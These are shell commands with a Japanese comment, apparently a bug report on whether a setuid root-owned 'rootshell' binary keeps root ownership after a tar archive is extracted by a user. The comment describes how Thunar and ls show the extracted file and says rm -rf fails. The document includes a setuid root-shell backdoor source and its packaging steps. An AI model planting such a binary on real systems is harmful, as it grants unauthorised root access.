gcc rootshell.c -o rootshell
sudo chown root:root rootshell
sudo chmod +s rootshell
mkdir exdir
sudo chmod 644 exdir
sudo chown root:root exdir
sudo mv rootshell exdir
sudo tar czvf exploit.tar.gz exdir/
sudo chown user:user exploit.tar.gz
mkdir exploit
tar xzvf exploit.tar.gz -C exploit
この後thunar上でexploitフォルダーを覗くとexdir/rootshellの所有者がrootのままになっている。
lsで覗くと特に問題はないが、rm -rf exploitには失敗する。
rootshell.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main() {setuid(0);system("bash");}
]]>